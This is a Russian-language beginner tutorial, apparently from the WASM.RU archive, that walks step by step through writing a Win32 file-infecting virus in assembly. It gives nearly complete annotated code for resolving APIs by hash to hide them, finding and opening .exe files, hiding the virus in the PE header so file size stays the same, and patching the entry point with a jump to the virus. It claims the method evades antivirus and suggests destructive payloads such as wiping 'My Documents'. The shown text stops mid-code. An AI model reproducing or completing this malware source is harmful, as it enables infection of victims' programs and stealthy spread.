Практика. Синтез вируса.

Дата публикации 28 сен 2005

Практика. Синтез вируса. — Архив WASM.RU

Моя статья посвящена написанию вируса. Буду писать все как новичок (ибо я им и являюсь) и для новичков.

Особые благодарности объявляю сразу:

  • [HT]sars - За статьи, за помощь, за поддержку….
  • [HT]nobodi - За хорошие подсказки и наводящие мысли…
  • IceStudent - За критику моих бредовых идей….
  • MSoft - За поддержку ….

"..Таков закон безжалостной игры:
Не люди умирают, а миры."

-Начало-

Вирус - это такая же равноправная программа, как и Microsoft Paint Brush. Вирус так же использует функции API, он тоже может создавать и записывать информацию на жесткий диск или в оперативную память.

Опишу для вас создание самого простого вируса, ничего серьезного и злобного - все в пределах нормы. Если вам в начале будет трудно понятен материал этой статьи, и вы не знаете многих терминов - не отчаивайтесь, найдите о них исчерпывающую информацию в Интернете и вам станет понятно, что эти термины - база и без них далее изучать этот материал просто бессмысленно. Но все же, я постараюсь кратко и четко дать им определения.

Уверен, что вы создавали, какие-нибудь программы под Windows, выводящие "Hello World" или что-нибудь похожее. Ваши программы имели таблицу импорта, где прописаны адреса всех используемых, вашей программой функций. Но вирус, заразив файл, теряет свой заголовок, включая таблицу импорта, поэтому он должен искать нужные ему функции сам.

Некоторые очень важные понятия, и термины.

Проецируемые файлы (file mapping) и разделяемая память (shared memory). Разделяемой называется память, видимая более чем одному процессу или присутствующая в виртуальном адресном пространстве более чем одного процесса. Например, к динамической библиотеки (файлы формата *.dll) обращаются более одного процесса - это значит, что эта библиотека находится в разделяемой памяти. Так вот для реализации разделяемой памяти используется так называемый объект "раздел", который в Windows называются объектом "проецируемый файл".

Остановлю ваше внимание на очень важном моменте: уточнении таких важных понятий, как Virtual Address (VA) и Relative Virtual Address (RVA).

VA - это адрес чего-нибудь в оперативной памяти. RVA - это смещение на что-то, относительно того места, куда проецирован файл (проще говоря - это VA + какой-то адрес). Запомните эти понятия. Они очень помогут разобраться в написании вируса.

И, конечно же, эта загадочная фраза "Дельта смещение". Что же это такое? Все очень просто. Когда вирус находится в чистом виде, т.е. не записан еще ни в какой файл (первое поколение так сказать), когда он работает, он обращается к переменных как есть относительно прописанного в его заголовке адреса, куда файл проецирован системой. Представьте, что вирус заразил программу. И там начинает работать. Но ведь теперь он работает не там, куда его загрузил загрузчик, а из того места, где находится загруженная зараженная программа. Получается, что переменные теперь указывают на абсолютно другое место. И там, где мы ждем строку "user.dll,0", будет находиться какая-нибудь чушь "№)ыяоd..". Чтобы этого избежать, ищется "дельта смещение", то есть смещение относительно НАЧАЛА ВИРУСА, а не программы в которой сидит вирус. Дельта смещение находится так:

Код (Text):
  1.  
  2. start:  
  3.           Call    _Delta
  4. _Delta:
  5.           sub dword ptr [esp], offset _Delta
  6.           push dword ptr [esp]

Все очень просто при входе в вирус, вызывается Call и в стеке помещается адрес возврата, мы вычитаем из него адрес метки и получаем нужное нам смещение относительно начала файла. В дальнейшем, прибавляя, дельта-смещение (сохраняем его в стеке) к адресам переменных, эти переменные будут принимать корректные значения.

А теперь переходим к тому, что нас так волнует. Большинство стандартных функций находятся в динамических библиотеках. Нам достаточно одной - kernel32.dll. Есть правда тут одна незадача. Как же найти адрес, по которому эта библиотека проецирована в память. А найти его нам поможет встроенный в Win32 механизм структурной обработки исключений. О нем далее…

-SEH в массы-

В Windows существует механизм структурной обработки исключений (SEH-structured exception handling), позволяющий приложениям получать управление при возникновении исключений. При возникновении ошибки система передает управление на SEH, там цепочка обработчиков (ячейки памяти в которых содержатся адреса на процедуры обработки исключений, чем-то напоминает таблицу векторов прерываний) начинается с fs:0000 и заканчивается последним обработчиком, имеющим значение 0FFFFFFFFh.

Когда же происходит исключение? Есть много вариантов. Например, деление на ноль вызывает исключение Divide Error. При обращении к памяти по недоступному адресу вызывается исключение Illegal memory address.

Каждый элемент имеет размер в два двойных слова. SEH имеет приблизительно такой вид:

Что же нам даст эта структура. Адрес последнего обработчика (на рисунке помечен как "XXXX") есть адрес kernel32.dll в памяти. Произведем поиск по SEH, пока не встретится элемент, имеющий значение 0FFFFFFFFh.

Код (Text):
  1.  
  2. _ReadSEH:
  3. xor  edx, edx          
  4. mov  eax, dword ptr fs:[edx]    ;читаем элемент SEH
  5. dec  edx                ;edx = -1
  6. _SearchK32:
  7. cmp  dword ptr [eax], edx   ;встретили нужный ?
  8. je _CheckK32
  9. mov  eax, dword ptr [eax]   ;получаем следующее значение
  10. jmp _SearchK32
  11.         _CheckK32:
  12. mov  eax,[eax+4]        ;получаем адрес ГДЕ-ТО в kernel32.dll
  13. xor ax,ax           ;выравниваем полученный адрес

Как только встретили нужный нам элемент, берем его адрес. Чтобы получить точный адрес начала kernel32.dll, надо выровнять полученный адрес на 64 кбайта, так как библиотеки загружаются по кратному адресу равному началу страницы.

В итоге мы получили адрес где-то в kernel32.dll. Следующим шагом будет нахождение в заголовке этой библиотеки смещения таблицы экспорта, о которой мы говорили вскользь в начале. Структура РЕ файла выглядит приблизительно так:

Вначале сканируем память (с того адреса, который мы только что получили) на наличие сигнатуры MZ (4D5Ah). Если она присутствует, значит, все сделано верно. Далее по смещению 3Ch находится смещение начала PE заголовка. Сравниваем значение 2х байтов по этому смещению на сигнатуру PE (5045h) (вдруг мы попали в область оперативной памяти, где чисто случайно нам попались символы MZ). Если значение этих байт равно PE, то вы нашли kernel32.dll (в чем можно уже не сомневаться).

Код (Text):
  1.  
  2. _SearchMZ:
  3. cmp word ptr [eax],5A4Dh    ;сверяем сигнатуру
  4. je _CheckMZ
  5. sub eax,10000h          ;если неравно то ищем дальше
  6. jmp _SearchMZ
  7.  
  8. _CheckMZ:
  9. mov edx, dword ptr [eax+3ch]    ;переходим на PE заголовок
  10. cmp word ptr [eax+edx],4550h    ;сверяем сигнатуру
  11. jne _Exit

Теперь посмотрим, как выглядит PE заголовок поподробнее (опишу только нужные нам поля):

</p>

По смещению 78h, от начала PE заголовка, находиться RVA адрес таблицы экспорта. Не забудьте, о чем я говорил про VA и RVA в начале статьи. Представьте, что RVA = 1980h. Нам нельзя читать или писать по этому адресу, так как обращение к нижним диапазонам приведет к исключению. Для этого в заголовке PE содержится информация о том, в какую область памяти проецирован файл системой. Это поле называется Image Base. Находится это поле по смещению 34h от начала PE заголовка. Предположим, что Image Base равен 400000H, прибавим значение этого поля к полученному RVA. В итоге имеем, что нам надо обратится по адресу 401980h, что будет корректно, в нашем случае.

Вот мы получили адрес таблицы экспорта в kernel32.dll. В этой таблице содержится указатель на массив адресов экспортируемых функций. Когда какой-то исполняемый модуль экспортирует функцию, чтобы та была использована другого исполняемого модуля, он может сделать это двумя путями: он может экспортировать функцию по имени или только по ординалу. Секция экспорта выглядит приблизительно так (не всегда в этом порядке):

Из этой рисунка видно, что интересующее нам поле - это указатель на таблицу адресов (RVA) экспорта (Address Table RVA). Данная структура данных содержит адреса экспортируемых функций (их точки входа) или данных в формате dword RVA (по 4 байта на элемент). Для доступа к данным используется ординал функции с коррекцией на базу ординалов (Ordinal Base).

Пример (хм… много кода, но напугайтесь, я его объясню ниже. (этот код является продолжением предыдущего, так как в регистре eax уже содержится начало проецированного файла, а в edi - начало PE заголовка):

Код (Text):
  1.  
  2. _SearchAPI:
  3. mov esi, dword ptr [eax+edx+78h]    ;RVA таблицы экспорта            
  4. add esi,eax                             ;нормализуем адрес
  5. add esi,18h     ;получаем нужный указатель на число ;указателей на имена
  6. xchg eax,ebx
  7. lodsd                                   ;получаем число указателей на имена
  8. push eax
  9. lodsd                                   ;получаем адрес таблицы экспорта.
  10. push eax
  11. lodsd                               ;получаем указатель на та таблицу ;указателей на имена
  12. push eax
  13. add eax,ebx
  14. push eax                                ;Index элемента таблицы имен
  15. lodsd                                   ;получим  указатель на таблицу ординалов
  16. push eax
  17. mov edi, dword ptr [esp+4*5]        ;указываем на стек
  18. lea edi, dword ptr [edi+HeshTable]  ;получаем смещение таблицы HeshTable
  19. mov ebp,esp             ;настраиваем стек

Что же мы имеем.… Все очень просто (смотрим на таблички). Вначале в esi помещается RVA таблицы экспорта. Далее нормализуем его (делаем из RVA - VA) добавляя к esi значение eax. Добавляя к esi 18h, получим адрес указателя на число указателей на имена функций. Теперь сохранив этот адрес в регистре ebx, загружаем вначале само число указателей на имена (Num of Name Pointers) в стек, потом адрес (RVA) таблицы экспорта (Address Table), потом указатель на таблицу указателей на имена экспорта (Name Pointers). Последнее надо получить указатель на таблицу ординалов экспорта (Ordinal Table), но так как этот массив параллелен числу указателей на имена (Name of Name Pointers), то перед получением этого указателя надо сложить смещение eax с сохраненным в ebx имеющим значение начала указателя на число указателей на имена функций (уфф .. а вообще советую смотреть отладчик (с)). Полученный результат - это и будет Index по которому и будем адресоваться к ASCII строкам-именам функций. И, наконец, загрузив последнее слово, получим указатель на таблицу ординалов (Ordinal Table). Далее нехитрыми манипуляциями получаем относительное смещение нашей таблицы с hash-значениями функций.

Как вы уже догадались, будем искать необходимые функции по их hash-значениям так как, это уменьшит размер кода, благодаря тому, что одно hash-значение (например 0F8670021h) занимает всего 4 байта, а имя функции на порядок больше (например GetCurrentDirectoryA). За одно и при просмотре тела вируса в HEX-редакторе, не бросается в глаза имена функций содержащиеся в коде вируса, как шаблоны для поиска.

Код (Text):
  1.  
  2. _BeginSearch:
  3. mov ecx, dword ptr [ebp+4*4]        ;число имен функций              
  4. xor edx,edx
  5.  
  6. _SearchAPIName:          
  7. mov esi, dword ptr [ebp+4*1]              ;Index элемента таблицы имен                                            
  8. mov esi, dword ptr [esi]        ;таблица экспорта
  9. add esi,ebx             ;адрес  ASСII имени первой API-функции      

В этом коде идет подготовка для поиска и начало поиска функций. В ecx получаем количество функций. Подготавливаем edx, который будет содержать номер найденной функции. Esi будет содержать адрес ASСII имени первой (вначале) API-функции.

Код (Text):
  1.  
  2. _GetHash:
  3. xor  eax,eax             
  4. push eax
  5.  
  6.  
  7. _CalcHash:
  8. ror  eax,7          ;сдвигаем
  9. xor dword ptr [esp],eax     ;ксорим
  10. lodsb               ;загружаем следующую букву
  11. test al,al              ;сверяем, конец ли имени ?
  12. jnz _CalcHash
  13. pop eax

Думаю, ничего особенного тут нет, так как просто получаем hash-значение функции в таблице экспорта. Полученное значение помещается в eax.

Код (Text):
  1.  
  2. _OkHash:
  3. cmp eax, dword ptr [edi]        ;сверяем полученный hash с тем что в ;таблице HeshTable
  4. je _OkAPI
  5. add dword ptr [ebp+4*1],4           ;сдвигаемся к другому элементу таблицы ;экспорта
  6. inc edx
  7. loop _SearchAPIName
  8. jmp _Exit                            

Здесь просто сверяем полученное hash-значение функции со значением искомой функции из нашей таблицы hash-значений. Если hash-значения совпали, то переходим на вычисление ее адреса. Иначе увеличиваем Index на 4, чтобы он указывал на следующий адрес имени в таблице экспорта, и продолжаем поиск.

Код (Text):
  1.  
  2. _OkAPI:
  3. shl edx,1               ;номер функции
  4. mov ecx, dword ptr [ebp]                ;берем указатель на таблицу ординалов
  5. add ecx,ebx            
  6. add ecx,edx
  7. mov ecx, dword ptr [ecx]
  8. and ecx,0FFFFh
  9. mov edx, dword ptr [ebp+4*3]             ;извлекаем Address Table RVA
  10. add edx,ebx
  11. shl ecx,2
  12. add edx,ecx
  13. mov edx, dword ptr [edx]
  14. add edx,ebx
  15. push edx                    ;сохраняем адрес найденной функции
  16. cmp word ptr [edi+4],0FFFFh     ;последняя ?
  17. je _Call_API
  18. add edi,4               ;следующее hash-значение функции

Этот блок кода вычисляет адрес API функции. Вначале edx содержит порядковый номер искомой функции. Адрес указателя на число указателей на имена функций содержится в регистре ebx, тем самым мы в ecx поместили вначале указатель на адрес, а потом сам адрес числа указателей. Используем ecx, как число, указывающее на нашу найденную API функцию. Далее нехитрыми действиями извлекаем из стека адрес (RVA) таблицы экспорта (Address Table RVA). И берем из нее адрес искомой функции. Сохраняем этот адрес в стеке, сравниваем является ли это функция последняя из нашей таблицы hash-значений. Если последняя (конец таблицы помечен как -1), то выходим из цикла поиска функций. Иначе устанавливаем edi на следующий hash.

Код (Text):
  1.  
  2. _NextName:          
  3. mov ecx, dword ptr [ebp+4*2]          ;восстанавливаем начало таблицы  экспорта  
  4. add ecx,ebx                    
  5. mov dword ptr [ebp+4*1], ecx          ;Index  в таблице имен
  6. jmp short _BeginSearch      
  7.  
  8. _Call_API:

Возвращаем наш ecx (Index) в состояние, в котором он будет указывать на адрес имени первой функции в таблице экспорта. И заново производим процесс поиска.

-Все новое - хорошо забытое старое-

Теперь я буду использовать стек как место хранения значений возвращаемых API функциями.

Код (Text):
  1.  
  2. push eax           
  3. push eax   

Первой инструкцией заносится в стек переменная EIP, а второй переменная Find_H. При чем не смотрите на значения этих переменных, они потом изменятся. Здесь они как бы описываются, чтоб потом к ним можно было обращаться, как показано ниже.

Если посмотрите на код вируса, то увидите там такое:

Код (Text):
  1.  
  2. ….
  3. ExitProcess         equ [ebp-4*12]
  4. GetProcAddress  equ [ebp-4*13]
  5. LoadLibrary     equ [ebp-4*14]
  6. SetCurrentDirectory     equ [ebp-4*15]
  7. EIP         equ [ebp-4*16]
  8. Find_H      equ [ebp-4*17]
  9. FileHandle      equ [ebp-4*18]
  10. FileSize        equ [ebp-4*19]
  11. ….

Так вот - это и есть имена переменных, только сами переменные находятся в стеке.

Когда все готово, все функции найдены и готовы к использованию, мы начинает процесс инфицирования. Существует несколько методов заражения. Принципиально они мало чем друг от друга отличаются. В этой статье описывается метод внедрения вируса в заголовок (точнее в пустое пространство в заголовке).

В начале надо получить имя текущей директории или системной директории, в зависимости от того, с чего вы хотите начать заражение. Но, я пошел другим путем и вписал в вирус имя директории, чтобы вирус не ушел слишком далеко (второго компьютера не было - пришлось все делать на рабочем, на котором нельзя было ничего портить). А сделал я очень просто - установил с помощью функции SetCurrentDirectory() текущую директорию (ее путь прописан в коде вируса). Но вы можете использовать GetSystemDir() или GetCurrentDir(), чтобы получить имя и путь системной или текущей директории для дальнейших действий. Важно помнить, что в стек, параметры помещаются в обратном порядке! Не забываем, естественно, сохранять возвращаемые значения функций, если это требуется (возвращаемое значение находится в eax).

Код (Text):
  1.  
  2. _SetCurrDir:
  3.  
  4.     mov eax,offset dir      ;смещение переменной dir
  5.     add eax,delta_off       ;прибавляем дельту
  6.     push eax
  7.     call SetCurrentDirectory   

помещаем адрес переменной в eax. Добавляем дельту. Помещаем eax в стек. И вызываем API функцию.

Далее нам найти файл в этой директории. Для этого используем функцию FindFirstFileA(). Но все не так просто, Эта функция требует помимо прочих параметров указатель на WIN32_FIND_DATA структуру. А она находится в вирусе. Возникает проблема - вирус в заголовке, а в эту область памяти нельзя писать.… И все же, это можно обойти. Для этого вызываем API функцию VirtualProtect(). Она может изменять атрибуты страниц виртуальной памяти.

Код (Text):
  1.  
  2. _FFFA:
  3.  
  4. pusha
  5.     push esp                ;адрес переменной, в нее возвращается "старый" режим доступа
  6.     push 40h               ;режим доступа (нам нужен 40h)
  7.     push 2000h           ;размер области памяти в байтах
  8.     mov eax,offset dir
  9.     add eax,delta_off
  10.     push eax          ;адрес области памяти, чьи атрибуты страниц нужно изменить
  11.     call VirtualProtect
  12.     popa

Перед вызовом сохраняю регистры, а потом их восстанавливаю.

Можно же избежать этого вызова, если структуру WIN32_FIND_DATA поместить в стек и потом обращаться к нему. Попробуйте сами сделать это. Я же просто показал вам, как можно изменять атрибуты виртуальной памяти.

Теперь можно подготавливать параметры для функции FindFirstFileA().

Код (Text):
  1.  
  2. lea eax,WIN32_FIND_DATA
  3.     add eax,delta_off  
  4.     push eax            ;указатель на структуру
  5.     lea eax,EXE_MASK
  6.     add eax,delta_off  
  7.     push eax            ;маска поиска
  8.     call FindFirstFileA

функция возвращает handle поиска. Сохраним его и проверим, завершилась ли функция FindFirstFileA удачно

Код (Text):
  1.  
  2. mov dword ptr Find_H, eax     ;сохраняем handle поиска
  3.     inc     eax                            
  4.         jnz      _OpenFile                      ;если нет ошибки ( eax  0 )
  5.         dec     eax

Следующий блок кода нужен для поиска следующего файла, если мы не сможем открыть найденный файл.

Код (Text):
  1.  
  2. _FNFA:
  3.  
  4.     lea eax,WIN32_FIND_DATA
  5.     add eax,delta_off      
  6.     push eax            ;указатель на структуру
  7.     push dword ptr Find_H   ;handle поиска
  8.     call FindNextFileA
  9.     or eax,eax
  10.     jz _msb_

если функция возвратит ошибку, то мы можем быть уверены, что файлов в директории точно нет. В нашем случае я просто выхожу из процедуры заражения. Но разумнее открыть другой каталог и посмотреть файлы там.

Если же файл нашли, то открываем его на чтение и запись. Используем для этого функцию CreateFileA().

Код (Text):
  1.  
  2. push 0                  ;хендл на файл шаблон (не нужен)
  3.     push 80h                ;атрибут FILE_ATTRIBUTE_NORMAL
  4.     push 3                  ;тип открытия OPEN_EXISTING 
  5.     push 0                  ;атрибуты защиты (не нужны)
  6.     push 1+2                ;тип совместного доступа
  7.     push 80000000h+40000000h        ;способ доступа (Чтение и запись)
  8.     mov eax, offset WFD_szFileName 
  9.     add eax,delta_off  
  10.     push eax                ;указатель на имя файла
  11.    call CreateFileA
  12. inc eax
  13.     jz _FNFA
  14.     dec eax
  15.     push eax    

Если функция завершилась ошибкой, то переходим на поиск нового файла. Иначе, сохраняем полученный handle найденного файла в стек.

Далее необходимо прочитать файл, но перед этим, выполним несколько дополнительных действий.

Определяем длину файла функцией GetFileSize().

Код (Text):
  1.  
  2. _ReadFile:
  3.  
  4. push 0  ;указатель на переменную для хранения                ;верхнего слова размера файла (не нужно)
  5.     push eax                ;хендл файла
  6.     call GetFileSize
  7. push eax

в eax возвращается размер файла. Сохраняем его в стек.

Далее резервируем область памяти функцией GlobalAlloc() указав в параметре dwBytes длину файла в байтах, чтобы считать в заказанный буфер этот файл.

Код (Text):
  1.  
  2. push eax                   ;размер файла
  3. push 0                     ;атрибут для заказанной памяти (установим по          
  4.                            ;умолчанию)
  5.     call GlobalAlloc
  6.     push eax

в eax возвращается адрес распределенной памяти. Сохраняем его в стек.

Далее считываем открытый файл в только что заказанную память функцией ReadFile().

Код (Text):
  1.  
  2. push 0
  3.     push esp                              
  4.     push dword ptr FileSize                     - количество байт для чтения
  5.     push eax                                - буфер для прочитанных данных
  6.     push dword ptr FileHandle                   - хендл файла
  7.     call ReadFile
  8.     or eax,eax
  9.     jz _CloseFile

Проверяем, удалось ли считать из файла. Если нет, то переходим к процедуре закрытия файла.

Считав файл, мы анализируем его заголовок. Один плюс метода записи вируса в заголовок - размер файла не увеличивается, тем самым мы обеспечили небольшую скрытность своему вирусу, если юзер будет проверять длинны файлов, измененные в какой-то момент времени.

Итак, первым делом, надо получить размер свободного места в заголовке.

Код (Text):
  1.  
  2. _GetFreeSpace:
  3.        
  4.     mov edi,[esp]                               ;Начало прочитанного файла
  5.     add edi,[edi].mz_neptr                      ;Offset PE Header
  6.  
  7. cmp word ptr [edi],4550h    ;Проверка , PE ли файл мы заражаем ?
  8.     jne _Exit

А теперь необходимо проверить - заражен ли уже этот файл нашим вирусом.

Код (Text):
  1.  
  2.     add edi,4Ch                            
  3.     cmp [edi],'Q'       ;проверяем поле Reserv
  4.     je _CloseFile
  5.     mov [edi],'Q'       ;если нет то ставим метку о заражении
  6.     sub edi,4Ch

Для метки заражения, используем зарезервированное поле PE заголовка находящееся по смещению 4Сh от начала заголовка.

Код (Text):
  1.  
  2.     movzx ecx,word ptr [edi].pe_numofobjects        ;в ECX кол-во элементов (счетчик)
  3.     push ecx                                   
  4.     movzx esi,word ptr [edi].pe_ntheadersize        ;размер NT Header
  5.     lea eax,[edi+esi+18h]                           ;VA первого элемента Object Table   
  6.     push eax                                   
  7.     mov ebx,[eax].oe_phys_offs              ;наименьшее физическое  смещение секции
  8.  
  9. _SearchLowhOffset:
  10.  
  11.     mov edx,[eax].oe_phys_offs          ;физическое  смещение секции       
  12.     cmp ebx, edx                ;сверяем с наименьшим смещением
  13.     jb _BigOffset                           ;если больше, то смотрим следующий элемент  
  14.     mov ebx,edx            
  15.                            
  16. _BigOffset:              
  17.                
  18.     add     eax, 28h                        ; следующий элемент
  19.     loop _SearchLowhOffset

В ecx помещаю количество секций. Сохраняю ecx, Далее в esi получаю размер NT заголовка. Далее в eax помещается виртуальный адрес таблицы секций (Object Table). Он состоит из начала PE заголовка + размер NT заголовка + 18h (поле magic). Сохраняем этот адрес. Далее в ebx помещаем наименьшее физическое смещение секции. Следующим шагом помещаем это физическое смещение секции в edx. Сравниваем ebx и edx . Если больше, то ищем следующий элемент, иначе текущий элемент примем за наименьший. В итоге получим, что в ebx у нас наименьшее физическое смещение первой секции.

Следующим шагом будет проверка на некоторые дополнительные элементы, которые могут присутствовать в PE заголовке. Нас волнуют Bound Imports.

Код (Text):
  1.  
  2. _CheckBounds:
  3.  
  4.     pop eax                                         ;VA первого элемента в Object Table
  5.     pop ecx                                         ;кол-во элементов
  6.     imul ecx,ecx,28h                            ;размер Object Table
  7.     mov edx,[edi].pe_boundimportrva         ;присутствуют Bound Imports?   
  8.     or edx,edx
  9.     jz _NoBounds                               
  10.     add ecx,[edi].pe_boundimportsize        ;добавим их размер к Object Table  
  11.        
  12. _NoBounds:
  13.  
  14.     add eax,ecx                                     ;VA "свободного места" в файле
  15.     push ebx
  16.     mov dword ptr [EIP],eax         ;сохраняем его           
  17.     pop ecx
  18.     add ebx,[esp]                      
  19.     sub ebx,eax                                     ;размер "свободного места"

Восстанавливаем в eax VA первого элемента в Object Table (ранее сохраняли в стеке). Далее в ecx восстанавливаем количество элементов. Умножив ecx на 40 байт в ecx получим размер таблицы секций (Object Table). Проверим, присутствуют ли bound imports. Если нет, то не берем их в расчет, иначе добавим их к размеру таблицы секций. И того, добавив ecx к eax, получим VA свободного места в файле. Сохраняем ebx (не забыли, что у нас там лежало :smile3:. Сохраняем адрес свободного места в переменную в стеке. Восстанавливаем ecx, раннее помещенный в стек. Добавляем к физическому смещению первой секции (ebx) значение из стека получи конец секций, и, вычтя из него адрес начала свободного места (eax) , получим размер свободного места в файле.

Код (Text):
  1.  
  2. _SaveInHeader:
  3.     cmp ebx,dword ptr Virsize                   ;проверим войдет ли код в заголовок   
  4.     jb _CloseFile                              
  5. mov dword ptr [edi].pe_headersize,ecx   ;приравняем размер заголовков к физ. ;смещению первой секции 
  6.     mov ecx,dword ptr Virsize          
  7.     xchg eax,edi
  8.     lea esi,start
  9.     add esi,delta_off

Первоначально проверим войдет ли наш вирус в заголовок. Чтобы сразу узнать размер вируса (еще при компиляции), воспользуемся препроцессором:

Код (Text):
  1.  
  2. Virsize equ $-start

Если вирус не входит в заголовок то лучше всего будет ничего не трогая закрыть файлы и выйти из программы. Далее необходимо приравнять полученный до этого размер заголовков к физическому смещению первой секции (в нашем случае оно в ecx). Далее подготавливаем данные для записи. В ecx помещаем размер вируса в байтах, чтобы далее использовать это как счетчик записи. В edi помещаем адрес начала свободного места в файле, а в esi - адрес начала вируса, естественно с добавленным дельта-смещением.

Далее начинается самое важное и интересное действо. Необходимо обеспечить передачу управления на вирус. Для этого будем использовать способ модифицирования кода главной программы. Способ заключается в записи в начало кода программы безусловного перехода на код вируса (jmp ). Этот метод хорош тем, что его обычные антивирусы не определяют. Антивирусы могут увидеть изменение точки входа. Но то, что мы запишем в начало файла jmp, они не увидят (а может и увидят :, мне просто так захотелось). Инструкция jmp <операнд> имеет размер 5 байт. Первый байт 0E9h это опкод самой инструкции, а четыре оставшихся - это адрес в ту область памяти, куда мы хотим передать управление. При чем этот адрес необходимо вычислить так, как это делает процессор.

Формула вычисления такова:

Код (Text):
  1.  
  2. x=0-(y-z)
  3. y - смещение следующей команды
  4. z - требуемый VA для jmp
  5. jmp x

т.е. пусть у нас есть адрес, с которого начинается выполняться программа

Код (Text):
  1.  
  2. 00400290 …….. ; код вируса
  3. ....        ...
  4. 004019С0   jmp 00400290
  5. 004019C5        ...
  6. ....        ...

вычисляем то, что в скобках:

004019C0h+00000005h-00400290h=00001735h

вычитаем:

Код (Text):
  1.  
  2. 00000000-00001735h=FFFFE8CBh

и записываем после опкода jmp то, что получили. Для проверки смотрим в отладчик и видим:

Код (Text):
  1.  
  2. 004019C0   E9 CBE8FFFF    JMP 00400290

что и требовалось получить.

Код (Text):
  1.  
  2. pusha
  3.     mov edi,eax                 ;offset pe         
  4.     mov ebx,dword ptr [edi+28h] ;стартовый код программы  (на него указывает :Entry Point)         
  5.     add ebx,dword ptr [edi+34h] ;нормализуем
  6.     add ebx,000005h

сохраним все регистры, чтобы не запортить все, что мы подготовили для записи. В edi помещаем смещение PE заголовка. Далее в ebx помещаем адрес начала кода программы, т.е. RVA Entry Point + Image Base. Добавляем еще 5 байт - это столько, сколько занимает дальний джамп.

Код (Text):
  1.  
  2.     mov eax,dword ptr [EIP] ;смещение кода виря в памяти              
  3.     sub eax,AllocMem    ;вычитаем начало памяти и получаем смещение кода
  4.                         ;вируса (реальное)

в eax помещаем сохраненное ранее смещение кода вируса в памяти. Вычитаем начало памяти, куда считали код программы. В итоге получили Реальное смещение кода вируса относительно начала программы, начиная от первого байта.

Код (Text):
  1.  
  2.    add eax,dword ptr [edi+34h]      ;+ Image Base
  3.    sub ebx,eax
  4.    xor eax,eax
  5.    sub eax,ebx
  6.    push eax             ;результат формулы x=0-(y-z)
  7.     mov ebx,AllocMem
  8.     add ebx,dword ptr [edi+28h]     ;адрес начала кода заражаемой программы

теперь получившееся смещение складываем с Image Base и получаем адрес туда - куда необходимо сделать перейти. Далее вычисляем формулу jmp x=0-(y-z). Вначале вычли из требуемого VA в ту область, куда надо перейти, смещение следующей команды. Далее из нуля вычли то что получили при вычитании. Сохранили получившееся значение. Снова в ebx помещаем адрес начала памяти. Добавляем к нему Entry Point, тем самым, вычислив адрес, где находится начало кода программы, которую заражаем.

Код (Text):
  1.  
  2.     mov ecx,5h          ;счетчик
  3.     lea edi,save_vir_b      ;адрес переменной куда сохраняем 5 байт жертвы
  4.     add edi,delta_off       ;добавляем дельту
  5.     mov esi,ebx         ;адрес откуда читать 5 байт
  6.     rep movsb           ;сохраняем

инициализируем счетчик ecx в 5, так как сохранять будем 5 байт. Вычисляем адрес переменной в edi , куда будем сохранять значение оригинальных 5 байт программы. В esi - адрес того места, откуда будем читать.

Код (Text):
  1.  
  2.     mov edi,ebx     ;адрес куда записывать                          
  3.     lea esi,j_m_p       ;адрес переменной откуда брать данные для записи
  4.     add esi,delta_off   ;добавляем дельту
  5.     movsb           ;пишем jmp на код вируса

Сразу записываю адрес, где находится начало кода программы в edi. Далее в esi помещаю адрес опкода e9h и записываю его.

Код (Text):
  1.  
  2.     pop ebx
  3.     mov dword ptr [edi],ebx

восстанавливаю ранее вычисленное значение операнда для инструкции jmp. И сразу можем из регистра поместить его в память.

Код (Text):
  1.  
  2.     popa
  3. rep movsb

это самый важный шаг. Восстанавливаем все, что напортили. Записываем вирус туда, где находится считанная программа.

Далее надо записать все, что мы изменили в файл. Перед использованием функции WriteFile(), обязательно необходимо установить указатель на начало файла. Делаем это с помощью функции SetFilePointer():

Код (Text):
  1.  
  2. _WriteFile:
  3. xor esi,esi
  4.     push esi
  5.     push esi
  6.     push esi
  7.     push dword ptr FileHandle                   ;хендл файла.
  8.     call SetFilePointer  

Теперь можем вызывать WriteFile():

Код (Text):
  1.  
  2. push esi                ;указатель на структуру Overlapped (не нужно)
  3. push esp                                             ;указатель на буфер с размером файла
  4.     push dword ptr FileSize                 ;размер файла
  5.     push dword ptr AllocMem                 ;адрес начала заказанной памяти
  6.     push dword ptr FileHandle               ;handle файла
  7.     call WriteFile
  8.  
  9. _CloseFile:
  10.     push dword ptr FileHandle               ;handle файла
  11.     call CloseHandle
  12.  
  13. push dword ptr Find_H       ;handle поиска
  14.     call CloseHandle
  15.  
  16.     push dword ptr AllocMem                 ;allocation memory
  17.     call GlobalFree

необходимо зарыть handle файла, с которым работали функцией CloseHandle() и отдать всю память, которую заказывали функцией GlobalFree

В принципе вот и все заражение. Далее можно сделать все, что вашей душе угодно, например, вызвать сообщение, что на компьютере вирус, стереть всю папку "Мои документы" или найти еще один файл и повторить заражение... Дети, помните - вирусы пишут для развлечений, поэтому деструкция не приветствуется!!!

Для наглядности вызовем пустое сообщение с заголовком по умолчанию.

Код (Text):
  1.  
  2. _msb_:
  3. lea eax, usd        ;имя библиотеки
  4. add eax, delta_off 
  5. push eax        ;в стек
  6. call LoadLibrary   
  7. lea edi, MSB        ;имя функции
  8. add edi, delta_off
  9. push edi        ;в стек
  10. push eax        ;handle полученной библиотеки в стек
  11. call GetProcAddress
  12. push 0         
  13. push 0
  14. push 0
  15. push 0
  16. call eax        ;вызываем функции MessageBoxA()

ничего сложного. Важно не забывать добавлять дельта-смещение к переменным и то, что параметры в стек сохраняются в обратном порядке, сами функции возвращают результат в eax.

Остался последний шаг.

Код (Text):
  1.  
  2. _Exit:
  3. cmp  delta_off,0        ;проверяем поколение
  4.     jz AA
  5.         mov eax,offset dir
  6.         add eax, delta_off
  7.     xor ax,ax

в конце концов, вирус попадет на метку _Exit. Необходимо узнать - какое это поколение вируса. Если дельта смещение равно нулю, то это первое поколение и необходимо закончить работу вируса. Иначе надо передать управление программе носителю.

Код (Text):
  1.  
  2.          _SearchMZ_:          
  3.     cmp word ptr [eax],5A4Dh
  4.     je _CheckMZ_
  5.     sub eax,10000h
  6.     jmp _SearchMZ_

ищем начало заражаемого файла по сигнатуре на текущей странице памяти. Все аналогично поиску kernel32.dll.

Код (Text):
  1.  
  2.          _CheckMZ_:
  3.     mov edi,eax
  4.     add edi,dword ptr [edi].mz_neptr
  5.     mov eax,dword ptr [edi+28h]
  6.     add eax,dword ptr [edi+34h]

сдвигаемся по заголовку - нам необходимо получить адрес начала выполнения программы.

Код (Text):
  1.  
  2.     pusha
  3. push esp            ;адрес переменной, в нее возвращается "старый" режим ;доступа
  4.     push 40h            ;режим доступа (нам нужен 40h)
  5.     push 5h                 ;размер области памяти в байтах
